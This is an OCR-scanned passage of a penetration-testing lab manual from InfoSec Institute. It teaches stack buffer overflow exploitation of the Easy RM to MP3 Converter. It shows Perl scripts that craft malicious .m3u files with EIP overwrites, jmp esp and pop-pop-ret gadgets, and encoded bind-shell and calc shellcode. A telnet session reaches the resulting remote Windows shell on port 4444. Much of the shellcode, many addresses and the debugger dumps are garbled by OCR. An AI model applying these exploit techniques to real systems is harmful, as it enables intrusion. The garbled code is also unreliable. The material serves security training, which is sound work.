"\x4b\x4a\x54\x47\x4b\x51 \x44\x51\x 34\ x4 7 \x58 \x44\x35\x4a" .
"\x45\x4cAx4b\X51\Xx4F\x47\X54\x43\x31\x4a\x4b\ x45\x36\x4c" .
"\X4b\X44\XAc\ x50\ X4b\Xx4C\X4b\X51\x4F\x45\x4c\x45\x51\x4a" .
"\X4b\ x44\x 43\ x4 6\ x4C\X4C\ X4\ X4d\X59\ x4 2 \ x4\ X466\ x44\x45"
"\X4cA\x43\X51\x48\x43\x46\X51\x49\x4b\x45\x 34\ x4c\x4b\x58" .
"\x43\x50\X30\x4C\x4b\x51\ x50\ x44\ x4 c\xdc \x4b\x42\ x50\ x45"
"\x4c\x4e\x4d\x4Cc\x4b\x51\ X568\ x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a \ x4\ X5\ x50\ x4h \ x4\ x48\X56\x43" .
"AX56\X50\x53\x45\x36\x45\X38\ x50 \x33\ x50\ x32\x42\x48\x43" .
<oon>

"AX50\x41\x41";

Let’s use this shellcode. The new exploit looks like this : we have manually broken the shellcode shown here.
So if you use it the exploit it will not work. But you should know by now how to make a working exploit.

HoH H

my $file= "exploitrmtomp3.m3u"”;

my $junk= "A" x 26094;
my $eip = pack('V',0x@1lccf23a); #jmp esp from MSRMCcodec82.dll

my $shellcode = "\x98" x 25;

. # windows/shell _bind_tcp - 703 bytes

# http: SRR
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode. “\x89\xel\xdb\xd4\xdS\x71\xf4\X58\x50\X59\x49\x49\x49\x49" .
"\ X433\ X433\ %43\ x43\ x43\X43\x51\x5a\x56\ x54\x 58\ x23\ %30\ x56" .
"\XE8AXIANXATAXEO\ X309\ X4 L\ X33\ x4 8\ x4 8\ x 30\ x4 1\ X380\ x30\x41" .
TAXA2\XAINXALIN XA\ X554\ OO\ XAT\ X5 I\ X3 2\ x41\ x4 2\ x32\x42\x42" .
"\X30\XA2\x4A2\x58\ X580\ X388\ x41\x43 \x4a\x4a\x49\ xab\x4c\x42"
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"\ xda\x4a\x4b\ x50\ x4d \ x4b\x58\ x4 c\x 3\ x4b\ x4\ x4b\x4F\x4b" .
"\ x4F\ K43\ X590\ x4\ x4b\ X4 2\ x4 c\ X 51\ X34\ x51\x 34\ x4\ x4b\x47" .
"\ X35\ X47\ X4\ x4\ x4b\x43\ x4 c\x44\x45 \ x44\ 38\ x45\x51\xda" .
"\ xAFAXAC\X4b A\ X5\ x4\ x4 2\ x 38\ x4 \x4b\x51\ x4\ x51\x32\x43" .
"AX31\x4a\x4b\ x50\ x49\ x4\ x4b\x46\x54\ x4c \x4b\x43\x31\x4a" .
"\ x4e\x46\x51\x49\ x50\ x4a\x39\x4e\x4c\ x4d \x54\ x49\ x50\ x44" .
"AX34\X45\X57 \x49\x51\x49\x5a\x44 \x4d \ x43\x31\x49\x52\x4a" .
"\ x4b\x4a\x54 \x47\x4b\x51\x44 \x51\x34\x47\x58\x44\x35\x4a" .
"AXAEAXAC\XABAXSIA XA T\ x47\x54 \ x43 \x3 1\ x4a\x4b\x45\x36\x4c" .
"\ x4b\x44\x4c\ x50\ x4b\ x4\ x4\ x 51\ x4 F\ x45\x4c\x45\x51\x4a" .
“AX4b\x44\x43\ x46 \ x4\ X4\ X4b\x4d \x59\ x42\x4c\x46\ x44\x45" .
"AXACAXAIN\XELI\ X488\ X433\ x46 \x51\ x40\ x4b\ x45 \ X34\ x4 c\x4b\x58" .
"AXAINXEO\ X3\ XA\ XAD\ X5\ X580\ x4\ xd c\ x4\ x4b\x42\x58\x45" .
"\ xAc\xde\x4d\x4c\x4b\x51\ x50\ x45\x58\x51\x4e\x43\x58\x4c" .
"\ x4\ x50\ xde\x44\ xde\x4a\x4c \X50\ x50\ x4b\ x4\ x48\X56\x43" .
"N X586\ X508\ X53\X45\Xx36 \X45\ X35\ x50\ X33\ x50\ 32\ x4 2\ x48\x43" .
TAXATAXAI\ XA\ XA T\ XA 2\ XEINXAF\ X BO\ XS4\ x4b\ x4\ x48\x58\x42" .
"\ x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\ x50\ x50\ x4b\x4F\x48" .
"AXS6AXELA\XAF \x4d\ x59\ x4d\x35\x45\x36\x4b\x31\xda\x4d\x43" .
"AX3IBA\X43\X32\x4B\ X35\ x43\ x5\ x44 \ x4 2\ x4\ x4F\ xde\x38\x42" .
"\ X488\ x48\x59\x45\ x59\x4c\x35\x4e\x4d\ x50\ x57\x4b\x4f\x48" .
"AXE6AX46 A\ X33\ X406\ X33\ X456 \ X33\ X508 \ X533\ 58\ X53 \ x58\x43\x51" .
"AX4A3\X51\X53 \x46\ X33\ x4b\x4T \x4e\ X380\ x43\x56\x45\x38\x42" .
"AX3TAXSIAXACAXA2\ X486\ x46\x33 \ x4\ x40\ x4d\x31\x4a\x35\x42" .
"\ x48\x4e\x44\x44\x5a\x44\x30\ x4 \x57 \ X508\ X57 \ x4b\x4F\x48"
"AXEE\XA3\X5a\ X444\ x5O\ X568 \X51\x 51\ x45\ x4b\ x4\ xde\x30\x43" .
"\ x58\x49\x34 \xde\x4d\ x46\x4e\x4b\x59\ x5\ x57\x4b\ x4\ xde" .
"AX36A\X50\x53\x46\ X35\ x4b\ x4\ x4e\x38\x42\x48\x4d\x35\x58" .
TAXAS\ XA\ XEE\XEO\ XA\ XS 1\ X4 7 \ X4b \ x4F\ x48\ x 56\ x50\ x50\ x50" .
"AXGANXER\XEA\ A6\ A5 \XAD\ X4 F\ X438\ x50\ x4a\x33\ x45\x38\x4a" .
"\ XA7\X44\X39\ X488\ X466\ X433\ X4\ x50\ x5 7 \ xdb\ x4 F\x48\x56\x58" .
"\ %55\ x4b\xAF\ X4 B\ X508\ x4 2\ x46\x42\ x4a\ x4 2\ x44\ x45\x36\x45" .
"A38\x45\ X33\ x4 2\ x4d\ x4d\x59\x4b\x55\ x42\ x4a\x46\x30\x58" .
"AXS5I\ 47\ X5\ %48\ x4 c\x4b\x39\x4a\x47 \x43\x5a\ x50\ x44\ x4b" .
"AXx39\x4b\X52\x46\X51\x49\ X5\ x4 \x33\ xde\xda\xdb\xde\x47" .
"\ x32\x46\x4d\ x4b\ x4e\x51\x52\x46 \x4c\ x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\xd4e\x4b\xde\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\ x4e\x4e\X53\ x42\ X366\ Xx4b\ x4\ x43\x45\x51\x 54\ x4b\x4+\x48" .
"AXA6N\XSIAXAD \ 46\ K37\ 4G\ X3 2\ X5\ X 51\ x50\ X51\x46 \x31\x42" .
"\xda\x45\x51\x46\x31\x46 \ X3 1\ x51\x45\ x50 \x51 \x4b\x4f\x48" .,
"\ x50\ Xx43\x58\xde\ x4d\ x4e\x38\x45\x55\ x48 \ x4e\ x51\x43\x4b" .
"AXATA X4\ x46 \x43\x5a\x4b\ X4 F\xAb\ XA T\ 47 \x47 \ x4b\x4f\x48" .
"W X5\ XA \XAb\ %46\ x37 \x4b\ x4\ x4\ x43\ X499\ x54\ x45\x34 \x4b" .
M\ XAF\x4e\x36\ x5\ X52 \x4b\ x4 T\ x4 8\ x50\ x43\x58\x4c\x3@\x4c" .
"\ x4a\ x44 \x44\ x5 1\ x4\ X406\ X33\ x4b\ x4\ x48\x56\x4b\x4F\x48" .
"\ x50\ x41\x41";

open($FILE, ">$file");

print $FILE $junk.$eip.$shellcode;
close($FILE);

print "m3u File Created successfully\n™;
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"Easy RM to MP3 cC.onvelter

Telnet to this host on port 4444 :

root@t:/# telnet 192.168.0.197 4444
Trying 192.168.0.197...

Connected to 192.168.8.197,

Escape character is '~]°'.

Microsoft Windows XP [Version 5.1,26900]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Easy RM to MP3 Converter>

Pataboom !
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Lab #2
Strategies for Getting
EIP to Point to Shellcode
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INSTITUTE

In the previous lab, you learned how to discover a vulnerability and using that information to build a working
exploit. We have seen that ESP pointed almost directly at the begin of our buffer (we only had to prepend 4
bytes to the shellcode to make ESP point directly at the shellcode), and we could use a “jmp esp”* statement {o
get the shellcode to run.

The fact that we could use “jmp esp” was an almost perfect scenario. It’s not that “easy’ every time. Today you
will learn some other ways to execute/jump to shellcode, and finally about what your options are if you are
faced with small buffer sizes.

There are multiple methods of forcing the execution of shellcode.

jump (or call): To a register that points to the shellcode. With this technique, you basically use a
register that contains the address where the shellcode resides and put that address in EIP. You try to find
the opcode of a “jump” or “call” to that register in one of the dlls that is loaded when the application
runs. When crafting your payload, instead of overwriting EIP with an address in memory, you need to
overwrite EIP with the address of the “jump to the register”. Of course, this only works if one of the
available registers contains an address that points to the shellcode. This is how we managed to get our
exploit to work in the previous lab, so we are not going to discuss this technique again

pop return : If none of the registers point directly to the shellcode, but you can see an address on the
stack (first, second, ... address on the stack) that points to the shellcode, then you can load that value
into EIP by first putting a pointer to pop ret, or pop pop ret, or pop pop pop ret (all depending on the
location of where the address is found on the stack) into EIP.

push return : This method is only slightly different than the “call register” technique. If you cannot
find a <jump register> or <call register> opcode anywhere, you could simply put the address on the
stack and then do a ret. So you basically try to find a push <register>, followed by a ret. Find the
opcode for this sequence, find an address that performs this sequence, and overwrite EIP with this
address.

imp [reg + offset] : If there is a register that points to the buffer containing the shellcode, but it does
not point at the beginning of the shellcode, you can also try to find an instruction in one of the OS or
application dlls, which will add the required bytes o the register and then jumps to the register. We will
refer to this method as jmp [reg]+offset]

blind return : In the previous lab, we have explained that ESP points to the current stack position (by
definition). A RET instruction will ‘pop”’ the last value (4bytes) from the stack and will put that address
in ESP. So if you overwrite EIP with the address that will perform a RET instruction, you will load the
value stored at ESP into EIP. If you are faced with the fact that the available space in the buffer (after
the EIP overwrite) is limited, but you have plenty of space before overwriting EIP, then you could use
jump code in the smaller buffer to jump to the main shellcode in the first part of the buffer.

SEH : Every application has a default exception handler which is provided for by the OS. So even if the
application itself does not use exception handling, you can try to overwrite the SEH handler with your
own address and make it jump to your shellcode. Using SEH can make an exploit more reliable on
various windows platforms, but it requires some more explanation before you can start abusing the SEH
to write exploits. The idea behind this is that if you build an exploit that does not work on a given OS,
then the payload might just crash the application (and trigger an exception). So if you can combine a
“regular” exploit with a seh based exploit, then you have build a more reliable exploit. The next lab will
deal with SEH. Just remember that a typical stack based overflow, where you overwrite EIP, could
potentionally be subject to a SEH based exploit technique as well, giving you more stability, a larger
buffer size (and overwriting EIP would trigger SEH... so it’s a win win)
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The techniques explained in this document are just examples. The goal of this lab is to explain to you that there
may be various ways to jump to your shelicode, and in other cases there may be only one (and may require a
combination of techniques) to get your arbitrary code to run.

There may be many more methods to get an exploit to work and to work reliably, but if you master the ones
listed here, and if you use your common sense, you can find a way around most issues when trying to make an
exploit jump to your shellcode. Even if a technique seems to be working, but the shellcode doesn’t want to run,
you can still play with shellcode encoders, move shellcode a little bit further and put some NOP’s before the
shellcode. .. these are all things that may help making your exploit work.

Of course, it is perfectly possible that a vulnerability only leads to a crash, and can never be exploited.

Let’s have a look at the practical implementation of some of the techniques listed above.

call [reg]

If a register is loaded with an address that directly points at the shellcode, then you can do a call [reg] to jump
directly to the shellcode. In other words, if ESP directly points at the shellcode (so the first byte of ESP is the
first byte of your shellcode), then you can overwrite EIP with the address of “call esp”, and the shellcode will be
executed. This works with all registers and is quite popular because kernel32.dll contains a lot of call [reg]
addresses.

Quick example : assuming that ESP points to the shellcode : First, look for an address that contains the ‘call
esp’ opcode. We'll use findjmp. If you do not have a copy of findjmp, you can find the source code here that
you can use to compile the program: http://www.securiteam.com/tools/SLPOCIPEUY html

Run findjmp against kernel32.dll with the following option:

findijmp.exe kernel32.dll esp

Findjmp, Eeye, I2S-LaB

Findjmp2, Hat-Squad

Scanning kernel32.dll for code useable with the esp register
Bx7C836A08 call esp

@x7C874413 jmp esp

Finished Scanning kernel32.dll for code useable with the esp register

Found 2 usable addresses
Next, write the exploit and overwrite EIP with 0x7C336A08.

From the Easy RM to MP3 example in the first part of this lab series, we know that we can point ESP at the
beginning of our shellcode by adding 4 characters between the place where EIP is overwritten and ESP. A
typical exploit would then look like this :

my $file= "testl.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',@0x7(C836A08); #overwrite EIP with call esp
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my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x98" x 25;  #start shellcode with some NOPS

# windows/exec - 3@3 bytes
# http:

# Encoder:; x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xcl\xdO\X72\xF4\X58\X50\ %59 \x49\ x49\x49\x49"
"AXA3ZNAXAZ\XA3\ %43\ X433\ x43\ x51\x5a\x56\x54\x58\ %33\ x38\x56" .
"AX58\X34\ x4 1\ X580\ x30\x4 1\ X33\ x48\x48\x30\x41\x30\x38\x41"
"AXA2AXAINXAIAXA 2\ XS54\ x4 1\ x4 1\ x5 1\ 3 2\ x4 1\ x42 \ 32\ x42\x42"
"AX3BA\XA2\X42\X58\ x50\ X338\ x41\ x43 \xda\x4a\x49\x4b\x4c\x4a" .
"AX4A8N\X50\ A4\ X4 3\ X330\ x43 \ X390\ x45 \ X590 \ x4\ x4b\ x4 7 \ X35\ x47" .
"\ x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48 \x45\x51\ xda\x4f\x4c"
"\xAbAX50\x4F\x42\ 38\ x4\ Xx4b\ X511\ x4F\x47\ x50\ x43\x31\x4a" .
"AX4Ab\X51\xB0\ x4\ x4b\x46\ X544\ x4 \x4b\x43\x31\ xda\x4e\x58" . R
"AX31\ X490\ X550\ X4\ X590 \ x4 \ x4 c\ x4\ x44 \ x40\ x50\ x43\x44\x43"
"AX37A\XAONXEIA XA\ X 52\ x44 \ x4 d\ X433\ x31\x49\x52\ x4a\x4b\x4a" .
"AxBA\XA7\XABA X5 I\ X 44\ X 46 \ x4 4\ X433\ X34\ x4 2\ x55\ x4b\x55\x4c" .
"\ x4b\x5I\x4T\x51\x34\x45\ x5 \xda \x4b\x42\x46\xdc\x4b\x44"
"AX4CAXEO\XAD A\ X4\ X4b\ X5 1\ x4 F\ x45\ x4\ x45\x51 \ x4a\x4b\x4c"
"AX4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47"
"AXGAAXAIAXIANXAE A XA \XE 1\ X4 F\x4B6 \ x5 1\ x4 b\ x46\ x43\x5e\x58"
"AXEBAXA5\ X34\ X4\ XAD\XAT\ 36\ X508\ X380\ x4\ x4b\x51\x56\x44"
"AxdcA\x4c\x4Ab\x44\x30\x45\ x4 c\xde\xdd\ x4c\x4b\x45\x38\x43"
"Ax38\x4b\x39\x4a\x58 \x4c\x43\ x40\ x50\ x42\x4a\ x50\ x50 \x42"
"\ 48\ X4\ X300\ x4d \x5a\ X433\ X34\ x5\ x4 T\ x45\ x 38\ x4a\x38\x4b"
"\ x4e\x4d\x5a\x44\x4e \x46 \x37\x4b \ x4 F\x4d\x37\x42\x43\x45"
"AXBINXKA2AXAC\XA2\ X433\ Xx4A5\ X580 \x41\x41" ;

open{$FILE,">$File");

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "m3u File Created successfully\n";
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pop ret

As explained above, In the Easy RM to MP3 example, we have been able to tweak our buffer so ESP pointed
directly at our shellcode. What if there is not a single register that points to the shellcode?

Well, in this case, an address pointing to the shellcode may be on the stack. If you dump esp, look at the first
addresses. If one of these addresses points to your shellcode {or a buffer you control), then you can find a pop
ret or pop pop ret (nothing to do with SEH based exploits here) to:

1. Take addresses from the stack (and skip them)
2. Jump to the address which should bring you to the shellcode.

The pop ret technique obviously is only usabled when ESP+offset already contains an address which points to
the shellcode. So dump from esp in the debugger, and see if one of the first addresses points to the shellcode,
and put a reference to pop ret {or pop pop ret or pop pop pop ret) into EIP. This will take some address from the
stack (one address for each pop) and will then put the next address into EIP. If that one points to the shellcode,
then you win.

There is a second use for pop ret : what if you control EIP, no register points to the shellcode, but your
shellcode can be found at ESP+8. In that case, you can put a pop pop ret into EIP, which will jump to ESP+8.
If you put a pointer to jmp esp at that location, then it will jump to the shellcode that sits right after the jmp esp
pointer.

Let’s build a test case. We know that we need 26094 bytes before overwriting EIP, and that we need 4 more
bytes before we are at the stack address where ESP points at (in our case, this is 0x000{f730, which will be a
different address for you in this lab).

We will simulate that at ESP+8, we have an address that points to the shellcode. (in fact, we’ll just put the
shellcode behind it — again, this 1s just a test case).
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26094 A’s, 4 XXXX’s (to end up where ESP points at), then a break, 7 NOP’s, a break, and more NOP’s. Let’s
@mgﬁﬁendthesheﬂcodebegﬁmzﬂthesecondtnﬂak.'FhegoalEtornakeajunu)overthefhsttweak,ﬁghttothe
second break (which is at ESP+8§ bytes = (0x000££738).

“my $file= "testi.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB"; #overwrite EIP
f?my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
- my $shellcode = “\xcc"; #first break
$shellcode = $shellcode . "\x90" x 7; #add 7 more bytes
$shellcode = $shellcode . "\xcc"; #second break ®
- $shellcode = $shellcode . "\x90" x 500; #real shellcode
open($FILE, ">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
‘wclose($FILE);
print "m3u File Created successfully\n";

: ”'L.ct’s look at the stack :

! . Application crashed because of the buffer overflow. We’ve overwritten EIP with “BBBB”. ESP points at
%w?mm%wmmMmmmmmﬂMMm@mm7mw&mﬁ%mwwﬂ%mwﬁhmkMMMmmmme
bégin of our shellcode (and sits at address 0x000ff738).
o
| eax=00000001 cbx=00104a58 ecx=7c91005d edx=00000048 esi=77c5Fced edi=000067fa
eip=42424242 esp=000ff730 ebp=00344200 iopl=0 nv up el pl nz na pe nc
%§=991b $5=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
© Missing image name, possible paged-out or corrupt data.
¢Unloaded_P32.d11>+0x42424231:
A2424247 ?7? 2P
0:000> d esp ‘
PBOTF730 cc 90 90 90 99 90 90 90-cc 90 90 90 90 90 90 90 . ...iirrnnn...
POOTF740 90 90 90 90 90 90 90 90-90 90 90 99 92 90 90 90 ...,
- . ©OOFf750 90 90 908 90 90 90 90 90-90 90 99 99 98 98 90 B . ..rnnrnnn.
QQ@FF76@ 08 90 90 952 90 90 90 90-90 90 90 90 90 99 90 90 ...
' BROFF770 90 98 90 90 99 90 90 96-90 98 00 99 90 90 99 99 ...........in.n.
OeRff780 90 90 90 96 90 90 98 90-90 90 90 90 90 90 90 90  .....rrrinnn..
. BBBff790 90 90 90 90 90 90 90 90-90 90 96 90 90 99 90 90 ... .riinennn.
- 00OFf720 90 90 90 90 90 90 99 00-96 90 90 99 90 92 90 90 ... iiieenianns

- 0:000> d 000ff738
© 000fF738 cc 90 90 99 90 90 90 90-98 90 90 90 90 90 98 90  .........nr....
0oetf748 90 90 90 90 90 90 90 90-90 90 90 92 90 90 99 I8  ..........0.e...
. ©0OBff758 90 90 90 90 90 98 90 90-90 90 90 90 98 98 90 90  ................
. 000ff768 90 90 98 9@ 90 90 90 96-90 90 90 90 90 90 90 90 ................
0eff778 96 90 30 90 99 98 90 90-90 90 90 90 90 98 90 IO ...iieninninn.
| BROTT788 9B 90 90 90 90 90 90 90-90 90 90 90 92 90 90 98 .....iiurinn..
.1 BBBTT798 90 90 902 90 90 90 90 90-90 90 90 9B 90 90 90 U0 ...iiiinrrnnn.
000ff7a8 90 90 90 90 90 90 90 96-98 90 90 90 90 99 98 IO . .....nninn.
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The goal is to get the value of ESP+8 into EIP (and to craft this value so it jumps to the shellcode). We’ll use
the pop ret technique + address of ymp esp to accomplish this.

One POP instruction will take 4 bytes off the top of the stack. So the stack pointer would then point at
000ff734. Running another pop instruction would take 4 more bytes off the top of the stack. ESP would then
point to 000{{738. When we a “ret” instruction is performed, the value at the current address of ESP is put in
EIP. So if the value at 000{f738 contains the address of a jmp esp instruction, then that is what EIP would do.
The buffer after 000ff738 must then contains our shellcode.

We need to find the pop,pop,ret instruction sequence somewhere, and overwrite EIP with the address of the first
part of the instruction sequence, and we must set ESP+8 to the address of jmp esp, followed by the shellcode

itself.

First of all, we need to know the opcode for pop pop ret. We’ll use the assemble functionality in windbg to get
the opcodes :

0:000> a
7¢90128e
pop eax
7c90120F
pop ebp
7¢c981210
ret

7¢901211

9:000> u

pop eax

pop ebp

ret

7¢98126e

ntdll!DbgBreakPoint:

7c90120e
7¢c901206f
7¢90912106
7¢961211
7¢901213
7¢901214
7c991216
7c98121a

58

5d

c3

ffcc

c3

8bff
3b442484
cc

pop eax

pop ebp

ret

dec esp

ret

mov edi,edi

mov eax,dword ptr [esp+4]
int 3

So the pop pop ret opcode is 0x58 0x5d 0xc3.

Of course, you can pop to other registers as well. These are some other available pop opcodes:

‘pop register opcode
pop eax 58
pop ebx 15b
pop ecx 159
‘pop edx iSa
'fpop esl !Se
pop ebp 5d

Copyright InfoSec Institute, Inc. | Expert Penetration Testing Lab Manual 40



Now we need to find this sequence in one of the available dlls. In the first lab we have spoken about application
dlls versus OS dlis. It is generally recommended to use application dlls because that would increase the chances
on building a reliable exploit across windows platforms/versions... But you still need to make sure the dlis use
the same base addresses every time. Sometimes, the dils get rebased and in that scenario it could be better to use
one of the os dlls (user32.dlf or kernel32.d11 for example)

Open Easy RM to MP3 (don’t open a file or anything) and then attach windbg to the running process.

Windbg will show the loaded modules, both OS modules and application modules. (Look at the top of the
windbg output, and find the lines that start with ModLoad).

These are a couple of application dlls:

ModLoad: ©0ced@od ead7feee  C:\Program Files\Easy RM to MP3 Converter\MSRMfiltersl.dll
ModLoad: ©1a%000@ 01b@1006  C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec8@.dll
ModLoad: ©9c80000 00c87008  C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec@1.dll
ModlLoad: ©1bl@eee 01fddoee  C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec®2.d1ll

You can show the image base of a dll by running dumpbin.exe (from Visual Studio) with parameter /headers
against the dll. This will allow you to define the lower and upper address for searches.

You should try to avoid using addresses that contain null bytes (because it would make the exploit harder... not
mmpossible, just harder.) -

A search in MSRMCcodec00.dll gives us some results :

9:014> s 01290000 1 ©1bo1eed 58 5d c3

@1lab6al® 58 5d c3 33 @ 5d c3 55-8b ec 51 51 dd 45 08 dc X].3.].U..0Q.E..
@1ab8da3 58 5d c3 8d 4d 08 83 65-08 0@ 51 6a 0@ ff 35 6¢ X]..M..e..0j..Sl
01ab9d69 58 5d c¢3 6a 02 eb f9 6a-84 eb 5 b8 00 62 00 00 X].3...9........

We know we can jump to ESP+8 now. In that location we need to put the address to jmp esp (because, as
explained before, the ret instruction will take the address from that location and put it in EIP. At that point, the
ESP address will point to our shellcode which is located right after the jmp esp address... so what we really
want at that point is a jmp esp)

From the previous lab, we have learned that 0x01lccf23a refers to jmp esp.
Let’s go back to our perl script and replace the “BBBB” (used to overwrite EIP with) with one of the 3

pop,pop,ret addresses, followed by 8 bytes (NOP) (to simulate that the shellcode is 8 bytes off from the top of
the stack), then the jmp esp address, and then the shellcode.

The buffer will lock like this :
[ AAAAAAAAAAA., . L AA] [QxelabGale] [NOPNOPNOPNOPNOPNOPNOPNOP] {BxﬁlccfZBa] [Shellcode]
26094 A's ETP 8 bytes offset JMP ESP
(=POPPOPRET)

The entire exploit flow will look like this :
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1. EIP is overwritten with POP POP RET (again, this example has nothing to do with SEH based exploits.
We just want to get a value that is on the stack into EIP). ESP points to begin of 8byte offset from
shellcode

2. POP POP RET is executed. EIP gets overwritten with Ox0Olccf23a (because that is the address that was
found at ESP+0x8). ESP now points to shellcode.

3. Since EIP is overwritten with address to jmp esp, the second jump is executed and the shellcode is

launched.
] [(1)
% |
i ESP points here (1) !
I | v
[ ABAAAAAAAAA. . . AA][@x@1abbal8] [ NOPNOPNOPNOPNOPNOPNOPNOP ] [@x@1iccf23a][Shellcode]
26094 A's EIP 8 bytes offset IMP ESP A
{=POPPOPRET) ! | (2)

ESP now points here (2)

We’ll simulate this with a break and some NOP’s as shellcode, so we can see if our jumps work fine.

my $file= "testl.m3u";
my $junk= "A" x 26894;

my $eip = pack('V',0x@lab6ale); #pop pop ret from MSRMfilterel.dll
my $jmpesp = pack{'V',0x01lccf23a); #jmp esp

my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x9@" x 8; #add more bytes

$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret { = jmp esp)
$shellcode $shellcode . "\xcc" . "\x98" x 508; #real shellcode

il

open($FILE, ">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "m3u File Created successfully\n";

(de8.384): Break instruction exception - code 80000083 (!!! second chance 1!})
€ax=909090908 ebx=00104a58 ecx=7c91885d edx=00000040 esi=77c5fced edi=000067fe
eip=000ff73Cc esp=0BOOTf73c ebp=90909690 iopl=0 nv up ei pl nz na pe nc
€s=001b s$5=00823 ds=0023 es=0023 fs=083b gs=0000 eftl=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded P32.d11l>+0xff72b:

geeff73¢c cc int 3

9:008> d esp
eeeff73c cc 90 99 90 99 90 98 S0-90 90 90 S0 99 9B 90 9V ...l eveaa
gooff74c 90 90 90 20 90 90 99 90-590 90 90 90 90 90 90 99 ...... . .0 eeua..
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888+f75c 90 90 98
Qeeff76c 98 90 90
@eeff77c 90 %0 99
@eaff78c 90 90 90
ROOFf+f79c 98 99 99
geetf7ac 99 96 99

That should work.

Now let’s replace the NOPs after jmp esp (ESP+8) with real shellcode (some nops to be sure + shellcode,
encoded with alpha upper) (execute calc):

my $file= "testl.m3u";
my $junk= "A" x 26094;

my $eip = pack('V',0x@1lab6al@); #pop pop ret from MSRMfiltereol.dll
my $jmpesp = pack({'V',ox0lccf23a); #jmp esp

my $prependesp = "XXXX"; #add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8; #add more bytes
$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp)

$shellcode = $shellcode . "\x90" x 50; #real shellcode

# windows/exec - 383 bytes

# Encoder: x86/alpha_upper

# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xcl\xd9\x72\xF4\x58\x50\x59\x49\x49\x49\x49" .
"AX43\x43\x43\x43\ x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"AXEB8AX3ANX 41N X550\ X380\ 41\ X33\ x48 \ x4 8\ x30\ X421\ x 30\ X3B\ x41" .
"NXA2\XAINXA I\ 2\ X5A\ XA T\ XA I \XE T\ X3 2\ X4 T\ x42\ x32\x42\x42"
"AX30\X42\x42\x58\x58\x38\x41\x43\xda\x4a\x49\ x4h\x4c\x4a" .
"\x48\ x50\ x44\x43\x30\ x43\ x30\x45\ x50\ x4\ x4b\ x4 7\ x35\x47" .
"\XACAXACAXAb\ x4 3\ x4\ x43\x35\x43\x48\x45\ x5\ x4a\x4F\xd4c"
"AXADAXSO\XAFAXAZ\X3B\ X4\ x4b\ X5 1\ x4 F\ x4 7\ X568\ x43\x31\x4a" .
"AXADAXEI\X59\ X4\ x4b\X46\x54\x4c \x4b\x43\x31\ x4a\xd4e\x56" .
"ANX3INX4O\XE0\ x4\ x55 \ x4e\ x4\ X4\ X44 \ x4 9\ x50\ x43\x44\ x43"
"\X37\x49\x51\x49\x 53 \x44\ x4d\x43\x31\ %49\ x52\xda\x4b\x4a" .
"\X54\XAT\xAb\x51\x44\ %46\ x44\ x43\ %34\ x42\x55\x4b\x 55\ x4c" .
"\x4bAX51AXAF\X51\ X34 \x45\ x5\ x4a\x4b\x42\x46\ xdc\xab\x44"
"\XACAX50\XAb\ XA\ x4b\ X5 1\ x4 F\x45\ x4 c\x45\x51 \ xda\xdb\xdc" .
"\ X4\ x45\ X4\ x4\ x4b\ x4 5\ x51\x4a \x4b\ x4d \x59\x51\xdc\x47" .
"AX54\ x4 3\ X34\ X488\ x43\ X5 1\ x4 F\x46 \ x5 1\ x4b\x46 \x43\x50\x50" .
"\XEEAXASAX I XACAXADAXAT7\X36\ x50\ 38\ x4 \x4b\x51\x50\x44" .
"\XA4CA\XACA\XAD\ X444\ X390\ x4 5\ x4 c\xde \x4d \ x4 \x4b\x45\x38\x43" .
"AX38\x4b\x39\x4a\Xx58\ X4\ x43\ x4\ x50\ 42\ x4a\ x50\ x50 \x42"
"AxAB\XACAXIO\XAA\X5a\ X433\ X34\ X511\ x4F\ x45\x38\ x4a\x38\xdb"
"\xde\x4d\x5a\x44\ x4e\x46\ x37\x4b \x4F\ x4d\x 37\ x42\ x43\ x45"
"AX3IAXA2\X4Cc\X42\x43\XA5\ x50\ x41\x41" ;

open{$FILE,">$file"};
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print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
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push return

push ret is somewhat similar to call [reg]. If one of the registers is directly pointing at your shellcode, and if for
some reason you cannot use a jmp [reg] to jump to the shellcode, then you could:

1. Put the address of that register on the stack. It will sit on top of the stack.
2. ret {which will take that address back from the stack and jump to 1t)

In order to make this work, you need to overwrite EIP with the address of a push {reg] + ret sequence in one of
the dils.

Suppose the shellcode is located directly at ESP. You need to find the opcode for ‘push esp’ and the opcode
for ‘ret’ first

©:000> a
@eaff7ae push esp
push esp
geefft7at ret

ret

0:600> u @eaff7ae

<Unloaded P32.dl1l>+0xf+79d:

epoff7ae 54 push esp
eeeff7at 3 ret

opcode sequence 1s 0x54,0xc3

Search for this opcode :
